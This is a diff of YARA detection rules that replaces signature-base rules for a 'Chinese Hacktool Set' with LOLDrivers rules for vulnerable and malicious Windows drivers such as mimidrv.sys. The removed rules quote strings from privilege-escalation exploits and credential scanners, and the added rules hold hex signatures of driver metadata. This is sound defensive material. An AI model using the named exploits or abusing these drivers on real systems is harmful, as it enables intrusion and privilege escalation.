+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e00670069006f006400720069007600650072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100760061007300740020004e0047 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00670069006f006400720069007600650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003400200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <250KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Ipsearcher : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrwinddkprovider_Dcprotectsys_Dcprotectrwinxdriver_9DEE : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file ipsearcher.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "bb33535a-e8cc-545d-bee8-3c31902eedb9"
-		date = "2015-06-13"
-		modified = "2022-12-21"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2343-L2360"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1e96e9c5c56fcbea94d26ce0b3f1548b224a4791"
-		logic_hash = "e63349ede826bc7b0e9c94d122e5b294c11a598fcf7096b80be726146e796a80"
-		score = 75
-		quality = 83
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - DcProtect.sys"
+		author = "Florian Roth"
+		id = "38c59d28-a35d-57f5-ad0e-7822e3381b53"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L11378-L11397"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "9dee9c925f7ea84f56d4a2ad4cf9a88c4dac27380887bf9ac73e7c8108066504"
+		logic_hash = "e7f65896009629498b16fdacd7dcdaafae8336365e621f791e880c108bbab75b"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "http://www.wzpg.com" fullword ascii
-		$s1 = "ipsearcher\\ipsearcher\\Release\\ipsearcher.pdb" ascii
-		$s3 = "_GetAddress" fullword ascii
-		$s5 = "ipsearcher.dll" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0044006300500072006f00740065006300740020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0044006300500072006f0074006500630074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0044006300500072006f00740065006300740020002800520029002000570069006e0038002e003100780036003400200064007200690076006500720020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0044006300500072006f0074006500630074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310032002d00320030003200300020004a00690061006e0067006d0065006e0020004500790075006e0020004e006500740077006f0072006b00200043006f002e002c004c00740064002e00200032003000310039 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <140KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Ms10048_X64 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_9679 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file ms10048-x64.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8c9bcf72-1bc7-57ed-9e0b-09d113a8c704"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2362-L2378"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "418bec3493c85e3490e400ecaff5a7760c17a0d0"
-		logic_hash = "f6e353a9e4f751632ca5fda1663f0ba66b16b60df90570ccdaf836eaaa6a78ca"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "a1b5efd0-2dd2-5c54-86b6-12684d6ea56b"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L11400-L11419"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "9679758455c69877fce866267d60c39d108b495dca183954e4af869902965b3d"
+		logic_hash = "fa486cd644c20c827abc8568933d8537c254cff445f2aef520775e119b6db067"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "The target is most likely patched." fullword ascii
-		$s2 = "Dojibiron by Ronald Huizer, (c) master#h4cker.us  " fullword ascii
-		$s3 = "[ ] Creating evil window" fullword ascii
-		$s4 = "[+] Set to %d exploit half succeeded" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f00770073002000780036003400200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200031002c00200031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003800200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <40KB and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Hscangui : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_8137 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file hscangui.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f0993510-70ee-52c6-a7b8-e023eb4b33ee"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2380-L2396"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "af8aced0a78e1181f4c307c78402481a589f8d07"
-		logic_hash = "9c0eb87dcf8aa107b5289d196650aebcf49c24f57a317de0afdadd61fb5bb5b7"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "0e696bff-b5da-5116-a5a7-341b6c3098b8"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L11422-L11441"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "8137ce22d0d0fc5ea5b174d6ad3506a4949506477b1325da2ccb76511f4c4f60"
+		logic_hash = "cd4ace0ee1000ec8367bdca57423f311d0993d54359e4b3ca6a503738ba07b3b"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "[%s]: Found \"FTP account: anyone/anyone@any.net\"  !!!" fullword ascii
-		$s2 = "http://www.cnhonker.com" fullword ascii
-		$s3 = "%s@ftpscan#Cracked account:  %s/%s" fullword ascii
-		$s4 = "[%s]: Found \"FTP account: %s/%s\" !!!" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200031002c00200030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003700200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <220KB and 2 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Goodtoolset_Ms11080 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Asmediatechnologyinc_Asmiosys_Asmediapcidriver_E465 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file ms11080.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "080e04a3-5cbe-57a8-9106-539451922cb4"
-		date = "2015-06-13"
-		modified = "2022-12-21"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2398-L2417"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f0854c49eddf807f3a7381d3b20f9af4a3024e9f"
-		logic_hash = "a5b03dded6146dae48bca962e7c5419c2ea69f8709ae7f2c9355bd178d5d77fb"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AsmIo64.sys"
+		author = "Florian Roth"
+		id = "196ff2dc-bbf5-5728-bcc9-29fa774b1e84"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L11444-L11463"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "e4658d93544f69f5cb9aa6d9fec420fecc8750cb57e1e9798da38c139d44f2eb"
+		logic_hash = "93c9c472f0664eabf5aeba70babe66f974fd79eaf37b65987c396e35faea4d4b"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "[*] command add user 90sec 90sec" fullword ascii
-		$s2 = "\\ms11080\\Debug\\ms11080.pdb" ascii
-		$s3 = "[>] by:Mer4en7y@90sec.org" fullword ascii
-		$s4 = "[*] Add to Administrators success" fullword ascii
-		$s5 = "[*] User has been successfully added" fullword ascii
-		$s6 = "[>] ms11-08 Exploit" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410073006d006500640069006100200050004300490020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410073006d006500640069006100200054006500630068006e006f006c006f00670079002000200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e00300030003000300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0031002e0030003000300030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00410073006d0049006f002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410073006d006500640069006100200050004300490020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00410073006d0049006f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a9002000410073006d006500640069006100200054006500630068006e006f006c006f00670079002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <240KB and 2 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Epathobj_Exp64 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_4DA0 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file epathobj_exp64.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "cb56bbdc-8afa-5b4b-b7df-942dd3d60366"
-		date = "2015-06-13"
-		modified = "2022-12-21"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2419-L2438"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "09195ba4e25ccce35c188657957c0f2c6a61d083"
-		logic_hash = "dc4073a7d319cffbbce7b3c7b7cf02b007839b72fe14ec1fbdcd3343d57cf7bf"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "bde91bb0-9211-5fea-b725-d556c5a3ccc9"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L11466-L11485"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "4da08c0681fbe028b60a1eaf5cb8890bd3eba4d0e6a8b976495ddcd315e147ba"
+		logic_hash = "c8f2c5a171d1a7192a2eaeae0ab70ce97956b93e68db7a41265e54480bd582f1"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Watchdog thread %d waiting on Mutex" fullword ascii
-		$s2 = "Exploit ok run command" fullword ascii
-		$s3 = "\\epathobj_exp\\x64\\Release\\epathobj_exp.pdb" ascii
-		$s4 = "Alllocated userspace PATHRECORD () %p" fullword ascii
-		$s5 = "Mutex object did not timeout, list not patched" fullword ascii
-		$s6 = "- inconsistent onexit begin-end variables" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0037002e0034003000310036002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0037002e0034003000310036002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <150KB and 2 of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Kelloworld_2 : FILE
+rule LOLDRIVERS_MAL_Driver_Microsoftcorporation_Windbgsys_Microsoftwindowsoperatingsystem_6994
 {
 	meta:
-		description = "Chinese Hacktool Set - file kelloworld.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3f298004-e618-5f4a-9cd7-c7c954b6fc64"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2440-L2455"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "55d5dabd96c44d16e41f70f0357cba1dda26c24f"
-		logic_hash = "a575c30c06bd84196cbf01a9b5ef3a042cf29553610421b019227d30a2c7ad1c"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - windbg.sys"
+		author = "Florian Roth"
+		id = "05060e37-3c01-5b86-a3ee-6e141399164a"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_mal_drivers.yar#L2-L37"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "6994b32e3f3357f4a1d0abe81e8b62dd54e36b17816f2f1a80018584200a1b77"
+		hash = "5b932eab6c67f62f097a3249477ac46d80ddccdc52654f8674060b4ddf638e5d"
+		hash = "ea50f22daade04d3ca06dedb497b905215cba31aae7b4cab4b533fda0c5be620"
+		hash = "f936ec4c8164cbd31add659b61c16cb3a717eac90e74d89c47afb96b60120280"
+		hash = "32882949ea084434a376451ff8364243a50485a3b4af2f2240bb5f20c164543d"
+		hash = "6661320f779337b95bbbe1943ee64afb2101c92f92f3d1571c1bf4201c38c724"
+		hash = "86047bb1969d1db455493955fd450d18c62a3f36294d0a6c3732c88dfbcc4f62"
+		hash = "06c5ebd0371342d18bc81a96f5e5ce28de64101e3c2fd0161d0b54d8368d2f1f"
+		hash = "4734a0a5d88f44a4939b8d812364cab6ca5f611b9b8ceebe27df6c1ed3a6d8a4"
+		hash = "770f33259d6fb10f4a32d8a57d0d12953e8455c72bb7b60cb39ce505c507013a"
+		hash = "50819a1add4c81c0d53203592d6803f022443440935ff8260ff3b6d5253c0c76"
+		hash = "f9f2091fccb289bcf6a945f6b38676ec71dedb32f3674262928ccaf840ca131a"
+		hash = "fa9abb3e7e06f857be191a1e049dd37642ec41fb2520c105df2227fcac3de5d5"
+		hash = "139f8412a7c6fdc43dcfbbcdba256ee55654eb36a40f338249d5162a1f69b988"
+		hash = "e1cb86386757b947b39086cc8639da988f6e8018ca9995dd669bdc03c8d39d7d"
+		hash = "e6f764c3b5580cd1675cbf184938ad5a201a8c096607857869bd7c3399df0d12"
+		hash = "bb2422e96ea993007f25c71d55b2eddfa1e940c89e895abb50dd07d7c17ca1df"
+		logic_hash = "161f83c85ad516f3f06f3719a1d8ae0c841e818e50f985403133c2f77b7be894"
+		score = 70
+		quality = 80
+		tags = ""
 
 	strings:
-		$s1 = "Hello World!" fullword wide
-		$s2 = "kelloworld.dll" fullword ascii
-		$s3 = "kelloworld de mimikatz pour Windows" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570069006e0064006f007700730020004700550049002000730079006d0062006f006c00690063002000640065006200750067006700650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e00310039003000340031002e0036003800350020002800570069006e004200750069006c0064002e003100360030003100300031002e00300038003000300029 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e00310039003000340031002e003600380035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00770069006e006400620067002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f00660074003f002000570069006e0064006f00770073003f0020004f007000650072006100740069006e0067002000530079007300740065006d }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00770069006e006400620067002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]003f0020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_Hscan_V1_20_Hscan : FILE
+rule LOLDRIVERS_MAL_Driver_Gentilkiwibenjamindelpy_Mimidrv_Mimidrvmimikatz_AAF0
 {
 	meta:
-		description = "Chinese Hacktool Set - file hscan.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4183824c-b77f-5500-a962-8d9dc78a9388"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L2457-L2474"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "568b06696ea0270ee1a744a5ac16418c8dacde1c"
-		logic_hash = "8e30c366c5d5c34a7b50ba4dec17a46c173196b773fff6965891802bcebeb112"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - mimidrv.sys"
+		author = "Florian Roth"
+		id = "57e5655e-1313-585f-931c-d892e8952d0e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_mal_drivers.yar#L40-L98"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "aaf04d89fd15bc61265e545f8e1da80e20f59f90058ed343c62ee24358e3af9e"
+		hash = "4b97d63ebdeda6941bb8cef5e94741c6cca75237ca830561f2262034805f0919"
+		hash = "c42c1e5c3c04163bf61c3b86b04a5ec7d302af7e254990cef359ac80474299da"
+		hash = "f03f0fb3a26bb83e8f8fa426744cf06f2e6e29f5220663b1d64265952b8de1a1"
+		hash = "0f98492c92e35042b09032e3d9aedc357e4df94fc840217fa1091046f9248a06"
+		hash = "d032001eab6cad4fbef19aab418650ded00152143bd14507e17d62748297c23f"
+		hash = "2456a7921fa8ab7b9779e5665e6b42fccc019feb9e49a9a28a33ec0a4bb323c4"
+		hash = "f9b01406864ab081aa77eef4ad15cb2dd2f830d1ef54f52622a59ff1aeb05ba5"
+		hash = "19dfacea1b9f19c0379f89b2424ceb028f2ce59b0db991ba83ae460027584987"
+		hash = "3ca5d47d076e99c312578ef6499e1fa7b9db88551cfc0f138da11105aca7c5e1"
+		hash = "cf9451c9ccc5509b9912965f79c2b95eb89d805b2a186d7521d3a262cf5a7a37"
+		hash = "a0931e16cf7b18d15579e36e0a69edad1717b07527b5407f2c105a2f554224b2"
+		hash = "492113a223d6a3fc110059fe46a180d82bb8e002ef2cd76cbf0c1d1eb8243263"
+		hash = "85b9d7344bf847349b5d58ebe4d44fd63679a36164505271593ef1076aa163b2"
+		hash = "efa56907b9d0ec4430a5d581f490b6b9052b1e979da4dab6a110ab92e17d4576"
+		hash = "12b0000698b79ea3c8178b9e87801cc34bad096a151a8779559519deafd4e3f0"
+		hash = "4136f1eb11cc463a858393ea733d5f1c220a3187537626f7f5d63eccf7c5a03f"
+		hash = "ee525b90053bb30908b5d7bf4c5e9b8b9d6b7b5c9091a26fa25d30d3ad8ef5d0"
+		hash = "10ad50fcb360dcab8539ea322aaf2270565dc835b7535790937348523d723d6b"
+		hash = "4d42678df3917c37f44a1506307f1677b9a689efcf350b1acce7e6f64b514905"
+		hash = "d37996abc8efb29f1ccbb4335ce9ba9158bec86cc4775f0177112e87e4e3be5c"
+		hash = "569fe70bedd0df8585689b0e88ad8bd0544fdf88b9dbfc2076f4bdbcf89c28aa"
+		hash = "80e4c83cfa9d675a6746ab846fa5da76d79e87a9297e94e595a2d781e02673b3"
+		hash = "1a5c08d40a5e73b9fe63ea5761eaec8f41d916ca3da2acbc4e6e799b06af5524"
+		hash = "ee7b8eb150df2788bb9d5fe468327899d9f60d6731c379fd75143730a83b1c55"
+		hash = "a1e6b431534258954db07039117b3159e889c6b9e757329bbd4126383c60c778"
+		hash = "e99580e25f419b5ad90669e0c274cf63d30efa08065d064a863e655bdf77fb59"
+		hash = "b0b80a11802b4a8ca69c818a03e76e7ef57c2e293de456439401e8e6073f8719"
+		hash = "4c89c907b7525b39409af1ad11cc7d2400263601edafc41c935715ef5bd145de"
+		hash = "083f821d90e607ed93221e71d4742673e74f573d0755a96ad17d1403f65a2254"
+		hash = "e8ec06b1fa780f577ff0e8c713e0fd9688a48e0329c8188320f9eb62dfc0667f"
+		hash = "ac5fb90e88d8870cd5569e661bea98cf6b001d83ab7c65a5196ea3743146939a"
+		hash = "7b846b0a717665e4d9fb313f25d1f6a5b782e495387aea45cf87ad3c049ac0db"
+		hash = "93aa3066ae831cdf81505e1bc5035227dc0e8f06ebbbb777832a17920c6a02fe"
+		hash = "082a79311da64b6adc3655e79aa090a9262acaac3b917a363b9571f520a17f6a"
+		hash = "bc49cb96f3136c3e552bf29f808883abb9e651040415484c1736261b52756908"
+		hash = "95e5b5500e63c31c6561161a82f7f9373f99b5b1f54b018c4866df4f2a879167"
+		hash = "d43520128871c83b904f3136542ea46644ac81a62d51ae9d3c3a3f32405aad96"
+		hash = "94c71954ac0b1fd9fa2bd5c506a16302100ba75d9f84f39ee9b333546c714601"
+		hash = "793b78e70b3ae3bb400c5a8bc4d2d89183f1d7fc70954aed43df7287248b6875"
+		logic_hash = "9566444b1d3adb2a8a5f48b45bbbdb5c9be3ce399ec091e3ffd13780a90227f1"
+		score = 70
+		quality = 80
+		tags = ""
 
 	strings:
-		$s1 = "[%s]: Found \"FTP account: anyone/anyone@any.net\"  !!!" fullword ascii
-		$s2 = "%s -h 192.168.0.1 192.168.0.254 -port -ftp -max 200,100" fullword ascii
-		$s3 = ".\\report\\%s-%s.html" fullword ascii
-		$s4 = ".\\log\\Hscan.log" fullword ascii
-		$s5 = "[%s]: Found cisco Enable password: %s !!!" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]006d0069006d006900640072007600200066006f0072002000570069006e0064006f0077007300200028006d0069006d0069006b00610074007a0029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00670065006e00740069006c006b0069007700690020002800420065006e006a0061006d0069006e002000440045004c005000590029 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0032002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0032002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006d0069006d0069006400720076 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]006d0069006d006900640072007600200028006d0069006d0069006b00610074007a0029 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006d0069006d0069006400720076002e007300790073 }
